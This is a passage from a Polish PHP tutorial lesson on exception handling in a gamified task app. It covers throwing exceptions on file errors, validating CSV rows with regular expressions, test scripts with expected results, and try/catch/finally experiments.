<p class="wp-block-paragraph">Odpowiedź na pytanie: gdyby wyjątek poleciał w środku <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code>, przypisanie <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania = ...</code> w ogóle by się nie wykonało. Bez wartości początkowej <code class="prettyprint lang-sql" style="font-size: 0.85em;">[]</code> zmienna <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania</code> nie istniałaby, a <code class="prettyprint lang-sql" style="font-size: 0.85em;">count($zadania)</code> niżej w pliku wywołałoby kolejny błąd.</p>



<p class="wp-block-paragraph"><strong>Sprawdź:</strong> zmień nazwę <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania_x.csv</code> i odśwież stronę. Poziom, XP, pasek i streak działają, a w sekcji zadań jest czerwona ramka: <strong>Nie udało się wczytać zadań: Plik z zadaniami nie istnieje.</strong> Przywróć nazwę pliku.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Uwaga:</strong> przy awarii <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania</code> jest puste, więc <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadanieWykonane</code> (uproszczenie z Lekcji 9) wychodzi <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code> i streak jest liczony tak, jakby dziś nie wykonano żadnego zadania. Świadomie zostawiamy to uproszczenie: streak nadal jest symulacją, a jego prawdziwe źródło (aktywność w bazie) pojawi się dopiero razem z bazą danych.</p>
</blockquote>
</details>



<h2 class="wp-block-heading">Krok 4 — SAMODZIELNIE: <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code> nie „udaje”, że zapisała</h2>



<p class="wp-block-paragraph"><strong>Plik projektu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_plikow.php</code>.</strong> Dotąd <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code> zwracała <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>, gdy nie mogła otworzyć pliku — i nikt tego nie sprawdzał. Wyjątku nie da się zignorować tak łatwo jak zwróconego <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code>, więc zmieniamy tę funkcję tak samo jak <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code>.</p>



<p class="wp-block-paragraph">Zmień <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code>:</p>



<ol class="wp-block-list">
<li>typ zwracany z <code class="prettyprint lang-sql" style="font-size: 0.85em;">bool</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">void</code>,</li>



<li>gdy <code class="prettyprint lang-sql" style="font-size: 0.85em;">fopen()</code> zwróci <code class="prettyprint lang-sql" style="font-size: 0.85em;">false</code> — rzuć wyjątek <code class="prettyprint lang-sql" style="font-size: 0.85em;">Nie udało się zapisać pliku z zadaniami.</code>,</li>



<li>usuń <code class="prettyprint lang-sql" style="font-size: 0.85em;">return true;</code> z końca funkcji (funkcja <code class="prettyprint lang-sql" style="font-size: 0.85em;">void</code> niczego nie zwraca).</li>
</ol>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function zapiszZadania(string $sciezka, array $zadania): void
{
    $uchwyt = fopen($sciezka, 'w');

    if ($uchwyt === false) {
        throw new Exception("Nie udało się zapisać pliku z zadaniami.");
    }

    // ... nagłówek i pętla foreach bez zmian ...

    fclose($uchwyt);
}</code></pre>



<p class="wp-block-paragraph">Sprawdzimy ją w Teście 2. Zwróć uwagę na jedną rzecz, której <strong>nie</strong> robimy: jeśli zapis urwie się w połowie (np. skończy się miejsce na dysku), plik zostanie niepełny — wyjątek dotyczy tylko <code class="prettyprint lang-sql" style="font-size: 0.85em;">fopen()</code>. Bezpieczniejsze zapisywanie to temat na później.</p>
</details>



<h1 class="wp-block-heading">6. Kolejne zadanie — sprawdzamy zawartość wiersza, a nie tylko liczbę pól</h1>



<p class="wp-block-paragraph">Wiersz z 6 polami może być i tak zepsuty. <strong>Eksperyment przed poprawką (plik danych projektu <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code> — to tymczasowa zmiana, na końcu ją cofniesz):</strong> w wierszu zadania o <code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> 4 zamień termin <code class="prettyprint lang-sql" style="font-size: 0.85em;">2026-09-25</code> na <code class="prettyprint lang-sql" style="font-size: 0.85em;">jutro</code> i odśwież <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>.</p>



<p class="wp-block-paragraph">Zobaczysz <code class="prettyprint lang-sql" style="font-size: 0.85em;">Fatal error: Uncaught DateMalformedStringException ... Failed to parse time string (jutro)</code> — i to <strong>z funkcji <code class="prettyprint lang-sql" style="font-size: 0.85em;">komunikatTerminu()</code></strong>, czyli z miejsca, które nie ma nic wspólnego z odczytem pliku. Przy okazji: wyjątek poleciał <em>poza</em> naszym <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code>, więc strona przestała działać. Wniosek: <strong>złe dane należy zatrzymać przy wejściu</strong>, w funkcji, która czyta plik — wtedy komunikat mówi wprost, która linia jest zła. Przywróć termin.</p>



<p class="wp-block-paragraph"><strong>SAMODZIELNIE — plik projektu: <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_plikow.php</code>.</strong> Rozbuduj <code class="prettyprint lang-sql" style="font-size: 0.85em;">sprawdzWierszZadania()</code> o trzy kolejne sprawdzenia (po sprawdzeniu liczby pól). Każde rzuca wyjątek z takim komunikatem:</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Warunek awarii</th><th>Komunikat (dokładnie taki)</th></tr></thead><tbody><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">termin</code> nie ma kształtu <code class="prettyprint lang-sql" style="font-size: 0.85em;">RRRR-MM-DD</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Linia N: termin 'X' nie ma formatu RRRR-MM-DD.</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code> to nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code> i nie <code class="prettyprint lang-sql" style="font-size: 0.85em;">1</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Linia N: pole wykonane musi mieć wartość 0 albo 1.</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">id</code> albo <code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code> nie jest liczbą całkowitą (same cyfry)</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">Linia N: id i xp muszą być liczbami całkowitymi.</code></td></tr></tbody></table></figure>



<p class="wp-block-paragraph"><code class="prettyprint lang-sql" style="font-size: 0.85em;">N</code> to numer linii, <code class="prettyprint lang-sql" style="font-size: 0.85em;">X</code> — wartość terminu z pliku (np. <code class="prettyprint lang-sql" style="font-size: 0.85em;">Linia 5: termin 'jutro' nie ma formatu RRRR-MM-DD.</code>). Kształt daty i „same cyfry” sprawdzisz <code class="prettyprint lang-sql" style="font-size: 0.85em;">preg_match()</code> — regexy znasz z Lekcji 8.</p>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>HINT</strong></summary>
<p class="wp-block-paragraph">Data w formacie <code class="prettyprint lang-sql" style="font-size: 0.85em;">RRRR-MM-DD</code> to: cztery cyfry, myślnik, dwie cyfry, myślnik, dwie cyfry — całość od początku do końca tekstu (pamiętaj o <code class="prettyprint lang-sql" style="font-size: 0.85em;">^</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$</code>). „Same cyfry” to jedna lub więcej cyfr, też od początku do końca.</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>POMOC</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">if (!preg_match('/^\d{4}-.../', $wiersz&#91;3])) {
    throw new Exception("Linia $numerLinii: termin '{$wiersz&#91;3]}' nie ma formatu RRRR-MM-DD.");
}</code></pre>



<p class="wp-block-paragraph">Wzorzec na „same cyfry” zapisz jako <code class="prettyprint lang-sql" style="font-size: 0.85em;">/^\d+$/</code> i sprawdź nim zarówno <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wiersz[0]</code>, jak i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wiersz[5]</code> (jeden <code class="prettyprint lang-sql" style="font-size: 0.85em;">if</code> z operatorem <code class="prettyprint lang-sql" style="font-size: 0.85em;">||</code>).</p>
</details>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function sprawdzWierszZadania(array $wiersz, int $numerLinii): void
{
    if (count($wiersz) !== 6) {
        throw new Exception("Linia $numerLinii: oczekiwano 6 pól, a jest " . count($wiersz) . ".");
    }

    if (!preg_match('/^\d{4}-\d{2}-\d{2}$/', $wiersz&#91;3])) {
        throw new Exception("Linia $numerLinii: termin '{$wiersz&#91;3]}' nie ma formatu RRRR-MM-DD.");
    }

    if ($wiersz&#91;4] !== '0' &amp;&amp; $wiersz&#91;4] !== '1') {
        throw new Exception("Linia $numerLinii: pole wykonane musi mieć wartość 0 albo 1.");
    }

    if (!preg_match('/^\d+$/', $wiersz&#91;0]) || !preg_match('/^\d+$/', $wiersz&#91;5])) {
        throw new Exception("Linia $numerLinii: id i xp muszą być liczbami całkowitymi.");
    }
}</code></pre>



<p class="wp-block-paragraph">Kolejność sprawdzeń ma znaczenie: dopiero po sprawdzeniu, że pól jest 6, wolno sięgać po <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wiersz[3]</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wiersz[4]</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">$wiersz[5]</code>.</p>



<p class="wp-block-paragraph">Powtórz eksperyment z terminem <code class="prettyprint lang-sql" style="font-size: 0.85em;">jutro</code>. Teraz strona pokazuje ramkę: <strong>Nie udało się wczytać zadań: Linia 5: termin 'jutro&#8217; nie ma formatu RRRR-MM-DD.</strong> Przywróć termin.</p>



<blockquote class="wp-block-quote is-layout-flow wp-block-quote-is-layout-flow">
<p class="wp-block-paragraph"><strong>Ograniczenie, o którym warto wiedzieć:</strong> wzorzec sprawdza <em>kształt</em> tekstu, nie kalendarz. Termin <code class="prettyprint lang-sql" style="font-size: 0.85em;">2026-13-45</code> ma poprawny kształt, więc przejdzie — i dopiero <code class="prettyprint lang-sql" style="font-size: 0.85em;">DateTime</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">komunikatTerminu()</code> się na nim wywróci. Wracamy do tego w Teście 1 i w zadaniu końcowym A.</p>
</blockquote>
</details>



<h1 class="wp-block-heading">7. Testy</h1>



<h2 class="wp-block-heading">Test 1 — co zwraca <code class="prettyprint lang-sql" style="font-size: 0.85em;">wczytajZadania()</code> dla różnych plików</h2>



<p class="wp-block-paragraph"><strong>BRUDNOPIS.</strong> <strong>Przewidź</strong> wynik każdego przypadku, a dopiero potem sprawdź. W <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_plikow.php';

$plikTestowy = __DIR__ . '/data/test.csv';
$naglowek = "id;tytul;opis;termin;wykonane;xp\n";

function sprobuj(string $plik, string $zawartosc): string
{
    file_put_contents($plik, $zawartosc);

    try {
        return "OK: " . count(wczytajZadania($plik)) . " zadań";
    } catch (Exception $wyjatek) {
        return "BŁĄD: " . $wyjatek-&gt;getMessage();
    }
}

echo sprobuj($plikTestowy, "") . "&lt;br&gt;";
echo sprobuj($plikTestowy, $naglowek) . "&lt;br&gt;";
echo sprobuj($plikTestowy, $naglowek . "1;a;b;2026-01-01;1;5\n") . "&lt;br&gt;";
echo sprobuj($plikTestowy, $naglowek . "1;a;b;2026-01-01;1;5\n\n2;c;d;2026-01-02;0;7\n") . "&lt;br&gt;";
echo sprobuj($plikTestowy, $naglowek . "1;a;b;2026-01-01;1\n") . "&lt;br&gt;";
echo sprobuj($plikTestowy, "id,tytul\n1,a\n") . "&lt;br&gt;";
echo sprobuj($plikTestowy, $naglowek . "1;a;b;jutro;1;5\n") . "&lt;br&gt;";
echo sprobuj($plikTestowy, $naglowek . "1;a;b;2026-01-01;2;5\n") . "&lt;br&gt;";
echo sprobuj($plikTestowy, $naglowek . "1;a;b;2026-01-01;1;abc\n") . "&lt;br&gt;";
echo sprobuj($plikTestowy, $naglowek . "1;a;b;2026-13-45;1;5\n") . "&lt;br&gt;";
echo sprobuj($plikTestowy, $naglowek . "1;a;b;2026-01-01;1;5\n2;c;d;2026-01-02;0;7\n3;e;f;2026-01-03\n") . "&lt;br&gt;";
echo sprobuj($plikTestowy, $naglowek . "   \n") . "&lt;br&gt;";

unlink($plikTestowy);

try {
    wczytajZadania(__DIR__ . '/data/nie_ma.csv');
} catch (Exception $wyjatek) {
    echo "BŁĄD: " . $wyjatek-&gt;getMessage();
}</code></pre>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Zawartość pliku</th><th>Oczekiwany wynik</th></tr></thead><tbody><tr><td>pusty plik (0 bajtów)</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">OK: 0 zadań</code></td></tr><tr><td>tylko nagłówek</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">OK: 0 zadań</code></td></tr><tr><td>nagłówek + 1 poprawny wiersz</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">OK: 1 zadań</code></td></tr><tr><td>nagłówek + wiersz + pusta linia + wiersz</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">OK: 2 zadań</code></td></tr><tr><td>wiersz z 5 polami</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">BŁĄD: Linia 2: oczekiwano 6 pól, a jest 5.</code></td></tr><tr><td>plik rozdzielony przecinkami</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">BŁĄD: Linia 2: oczekiwano 6 pól, a jest 1.</code></td></tr><tr><td>termin <code class="prettyprint lang-sql" style="font-size: 0.85em;">jutro</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">BŁĄD: Linia 2: termin 'jutro' nie ma formatu RRRR-MM-DD.</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">wykonane</code> równe <code class="prettyprint lang-sql" style="font-size: 0.85em;">2</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">BŁĄD: Linia 2: pole wykonane musi mieć wartość 0 albo 1.</code></td></tr><tr><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">xp</code> równe <code class="prettyprint lang-sql" style="font-size: 0.85em;">abc</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">BŁĄD: Linia 2: id i xp muszą być liczbami całkowitymi.</code></td></tr><tr><td>termin <code class="prettyprint lang-sql" style="font-size: 0.85em;">2026-13-45</code></td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">OK: 1 zadań</code> (!) — kształt jest poprawny; to ograniczenie z sekcji 6</td></tr><tr><td>dwa poprawne wiersze i trzeci z 4 polami</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">BŁĄD: Linia 4: oczekiwano 6 pól, a jest 4.</code></td></tr><tr><td>linia zawierająca same spacje</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">BŁĄD: Linia 2: oczekiwano 6 pól, a jest 1.</code> (to nie jest pusta linia!)</td></tr><tr><td>plik nie istnieje</td><td><code class="prettyprint lang-sql" style="font-size: 0.85em;">BŁĄD: Plik z zadaniami nie istnieje.</code> (bez żadnego ostrzeżenia PHP)</td></tr></tbody></table></figure>



<p class="wp-block-paragraph">Zwróć uwagę na różnicę względem Lekcji 11: tam wszystkie „BŁĄD” z tabeli dawały po prostu <code class="prettyprint lang-sql" style="font-size: 0.85em;">0</code>. Teraz <strong>pusty plik</strong> i <strong>uszkodzony plik</strong> to dwie różne odpowiedzi.</p>



<h2 class="wp-block-heading">Test 2 — <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code> przy awarii</h2>



<p class="wp-block-paragraph"><strong>BRUDNOPIS.</strong> W <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

require_once __DIR__ . '/includes/funkcje_plikow.php';

try {
    zapiszZadania(__DIR__ . '/nie_ma_takiego_katalogu/test.csv', &#91;]);
    echo "Zapisano.";
} catch (Exception $wyjatek) {
    echo "BŁĄD: " . $wyjatek-&gt;getMessage();
}</code></pre>



<p class="wp-block-paragraph"><strong>Oczekiwane:</strong> ostrzeżenie PHP w stylu <code class="prettyprint lang-sql" style="font-size: 0.85em;">Warning: fopen(...): Failed to open stream: No such file or directory ...</code> (to komunikat wypisany przez sam PHP — osobny mechanizm, do którego wrócimy w Lekcji 23) oraz <strong>nasza</strong> linia: <code class="prettyprint lang-sql" style="font-size: 0.85em;">BŁĄD: Nie udało się zapisać pliku z zadaniami.</code> Katalog <code class="prettyprint lang-sql" style="font-size: 0.85em;">nie_ma_takiego_katalogu</code> nie istnieje, więc <code class="prettyprint lang-sql" style="font-size: 0.85em;">fopen()</code> w trybie <code class="prettyprint lang-sql" style="font-size: 0.85em;">w</code> nie może utworzyć pliku.</p>



<h2 class="wp-block-heading">Test 3 — zapis i odczyt nadal się zgadzają (regresja z Lekcji 11)</h2>



<p class="wp-block-paragraph"><strong>BRUDNOPIS.</strong> Plik <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.php</code> już nie istnieje, więc wzorcem jest prawdziwy <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

require_once __DIR__ . '/config/config.php';
require_once __DIR__ . '/includes/funkcje_plikow.php';

$plikTestowy = __DIR__ . '/data/test.csv';

$zadania = wczytajZadania(PLIK_ZADAN);
zapiszZadania($plikTestowy, $zadania);
$odczytane = wczytajZadania($plikTestowy);

var_dump($odczytane === $zadania);

unlink($plikTestowy);</code></pre>



<p class="wp-block-paragraph"><strong>Oczekiwane:</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">bool(true)</code> — w <code class="prettyprint lang-sql" style="font-size: 0.85em;">zapiszZadania()</code> zmieniliśmy tylko obsługę awarii, nie sam zapis.</p>



<h2 class="wp-block-heading">Test 4 — cała aplikacja</h2>



<p class="wp-block-paragraph"><strong>PLIK DANYCH PROJEKTU.</strong> Wszystkie zmiany rób bezpośrednio w <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code> (albo w jego nazwie) i po każdej <strong>przywracaj oryginał</strong> (z kopii z Przygotowania) — nic tu nie piszemy w brudnopisie.</p>



<figure class="wp-block-table"><table class="has-fixed-layout"><thead><tr><th>Zmiana</th><th>Oczekiwany efekt na stronie</th></tr></thead><tbody><tr><td>plik nazywa się <code class="prettyprint lang-sql" style="font-size: 0.85em;">zadania_x.csv</code></td><td>poziom, XP, pasek, streak działają; w sekcji zadań ramka: <code class="prettyprint lang-sql" style="font-size: 0.85em;">Nie udało się wczytać zadań: Plik z zadaniami nie istnieje.</code>; brak liczników i listy</td></tr><tr><td>w wierszu zadania <code class="prettyprint lang-sql" style="font-size: 0.85em;">3</code> pierwszy średnik zamieniony na spację</td><td>ramka: <code class="prettyprint lang-sql" style="font-size: 0.85em;">... Linia 4: oczekiwano 6 pól, a jest 5.</code></td></tr><tr><td>w zadaniu <code class="prettyprint lang-sql" style="font-size: 0.85em;">4</code> termin <code class="prettyprint lang-sql" style="font-size: 0.85em;">jutro</code></td><td>ramka: <code class="prettyprint lang-sql" style="font-size: 0.85em;">... Linia 5: termin 'jutro' nie ma formatu RRRR-MM-DD.</code></td></tr><tr><td>w pliku tylko nagłówek</td><td><strong>brak ramki</strong>, komunikat <code class="prettyprint lang-sql" style="font-size: 0.85em;">Brak zadań.</code> (to nie awaria)</td></tr><tr><td>pusta linia między zadaniami <code class="prettyprint lang-sql" style="font-size: 0.85em;">2</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">3</code></td><td>strona wygląda normalnie, nadal 5 zadań</td></tr><tr><td>oryginalny plik</td><td>strona jak po Lekcji 11</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">Test 5 — regresja</h2>



<p class="wp-block-paragraph">Uruchom obok siebie <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest_lekcja11/index.php</code> i nowy <code class="prettyprint lang-sql" style="font-size: 0.85em;">taskquest/index.php</code> <strong>tego samego dnia</strong>. Poza wersją w stopce (<code class="prettyprint lang-sql" style="font-size: 0.85em;">1.1</code> → <code class="prettyprint lang-sql" style="font-size: 0.85em;">1.2</code>) i jedną nową regułą CSS w <code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;style&gt;</code> (niewidoczną, bo nic jej nie używa) strona ma być <strong>identyczna</strong>: te same liczniki, ten sam pasek, te same komunikaty terminów. <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code> nadal pokazuje 11 × <code class="prettyprint lang-sql" style="font-size: 0.85em;">[OK]</code>.</p>



<h2 class="wp-block-heading">Sprzątanie</h2>



<p class="wp-block-paragraph">Gdy testy 1–5 przeszły:</p>



<ol class="wp-block-list">
<li>usuń <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code> oraz ewentualne pozostałości <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/test.csv</code>,</li>



<li>upewnij się, że <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code> ma oryginalną zawartość (5 zadań) i oryginalną nazwę,</li>



<li>odśwież <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> i <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code>.</li>
</ol>



<h1 class="wp-block-heading">8. Obowiązkowe eksperymenty</h1>



<p class="wp-block-paragraph"><strong>Gdzie:</strong> Eksperymenty 1 i 4 wykonuj w <code class="prettyprint lang-sql" style="font-size: 0.85em;">brudnopis.php</code> (nic nie zmieniasz w projekcie); Eksperymenty 2 i 3 wykonuj bezpośrednio w pliku projektu <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code> — po każdym <strong>przywróć kod do stanu z Kroku 3</strong>.</p>



<h3 class="wp-block-heading">Eksperyment 1: <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code> wokół pętli</h3>



<p class="wp-block-paragraph">W rozwiązaniu z sekcji 4 przenieś <code class="prettyprint lang-sql" style="font-size: 0.85em;">try { ... } catch { ... }</code> tak, żeby <strong>otaczał całą pętlę</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">foreach</code>. Uruchom. Które nagrody zostały przetworzone? Czy nagroda <code class="prettyprint lang-sql" style="font-size: 0.85em;">15</code> się pojawiła? Wyjaśnij, dlaczego — i w którym z tych dwóch ustawień TaskQuest lepiej znosiłby jedno złe zadanie na liście.</p>



<h3 class="wp-block-heading">Eksperyment 2: wyjątek bez <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code></h3>



<p class="wp-block-paragraph"><strong>Plik projektu <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>.</strong> Zamień blok z <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code> z powrotem na samo <code class="prettyprint lang-sql" style="font-size: 0.85em;">$zadania = wczytajZadania(PLIK_ZADAN);</code> i zmień nazwę pliku z zadaniami. Przeczytaj <code class="prettyprint lang-sql" style="font-size: 0.85em;">Fatal error</code>: w której funkcji i w której linii wyjątek został <strong>rzucony</strong>? Które funkcje są na liście <code class="prettyprint lang-sql" style="font-size: 0.85em;">Stack trace</code>? Jak myślisz — czy odwiedzający stronę powinien widzieć takie ścieżki? Przywróć <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code> i nazwę pliku.</p>



<h3 class="wp-block-heading">Eksperyment 3: pusty <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code></h3>



<p class="wp-block-paragraph"><strong>Plik projektu <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>.</strong> Zostaw w <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code> pustą treść:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">} catch (Exception $wyjatek) {
}</code></pre>



<p class="wp-block-paragraph">i zmień nazwę pliku z zadaniami. Co pokazuje teraz strona? Z którą sytuacją z Lekcji 11 to się kojarzy i dlaczego jest <strong>gorsza</strong> niż <code class="prettyprint lang-sql" style="font-size: 0.85em;">Fatal error</code>? Przywróć poprawny <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch</code>.</p>



<h3 class="wp-block-heading">Eksperyment 4: <code class="prettyprint lang-sql" style="font-size: 0.85em;">Exception</code> to nie wszystko</h3>



<p class="wp-block-paragraph"><strong>BRUDNOPIS.</strong> Użyj <code class="prettyprint lang-sql" style="font-size: 0.85em;">dodajXp()</code> z sekcji 4 i wywołaj ją tak, żeby otoczyć wywołanie zwykłym <code class="prettyprint lang-sql" style="font-size: 0.85em;">try</code> / <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch (Exception $wyjatek)</code>:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">try {
    echo dodajXp(50, "abc");
} catch (Exception $wyjatek) {
    echo "Złapano: " . $wyjatek-&gt;getMessage();
}</code></pre>



<p class="wp-block-paragraph">Czy „Złapano:” się pojawiło? Przeczytaj komunikat <code class="prettyprint lang-sql" style="font-size: 0.85em;">Fatal error</code> — jaki to rodzaj błędu (<code class="prettyprint lang-sql" style="font-size: 0.85em;">Uncaught ...</code>)? Dlaczego <code class="prettyprint lang-sql" style="font-size: 0.85em;">catch (Exception ...)</code> go nie złapał? Czy to dobrze, że taki błąd zatrzymuje program?</p>



<h3 class="wp-block-heading">Eksperyment 5 (dodatkowy): <code class="prettyprint lang-sql" style="font-size: 0.85em;">return</code> w <code class="prettyprint lang-sql" style="font-size: 0.85em;">finally</code></h3>



<p class="wp-block-paragraph"><strong>BRUDNOPIS.</strong> Przewidź, co wypisze poniższy kod, a potem uruchom:</p>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">function test(): int
{
    try {
        return 1;
    } finally {
        return 3;
    }
}

echo test();</code></pre>



<h1 class="wp-block-heading">9. ROZWIĄZANIE</h1>



<details class="wp-block-details is-layout-flow wp-block-details-is-layout-flow"><summary><strong>ROZWIĄZANIE</strong></summary>
<p class="wp-block-paragraph">Pełny kod TaskQuest po Lekcji 12. Nowe lub zmienione: <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_plikow.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">index.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/header.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/footer.php</code>. <strong>Bez zmian względem Lekcji 11:</strong> <code class="prettyprint lang-sql" style="font-size: 0.85em;">config/config.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_grywalizacji.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_tekstowe.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_terminow.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_zadan.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_diagnostyczne.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">diagnostyka.php</code>, <code class="prettyprint lang-sql" style="font-size: 0.85em;">data/zadania.csv</code>.</p>



<h2 class="wp-block-heading"><code class="prettyprint lang-sql" style="font-size: 0.85em;">includes/funkcje_plikow.php</code></h2>



<pre class="wp-block-code prettyprint lang-sql has-small-font-size" style="font-size: 0.85em;"><code class="prettyprint lang-sql" style="font-size: 0.85em;">&lt;?php

// Funkcje odczytu i zapisu plików z danymi TaskQuest (CSV, separator ;)
// Od Lekcji 12 przy awarii rzucają wyjątki (throw new Exception), zamiast po cichu zwracać &#91;] albo false.

function sprawdzWierszZadania(array $wiersz, int $numerLinii): void
{
    if (count($wiersz) !== 6) {
        throw new Exception("Linia $numerLinii: oczekiwano 6 pól, a jest " . count($wiersz) . ".");
    }

    if (!preg_match('/^\d{4}-\d{2}-\d{2}$/', $wiersz&#91;3])) {
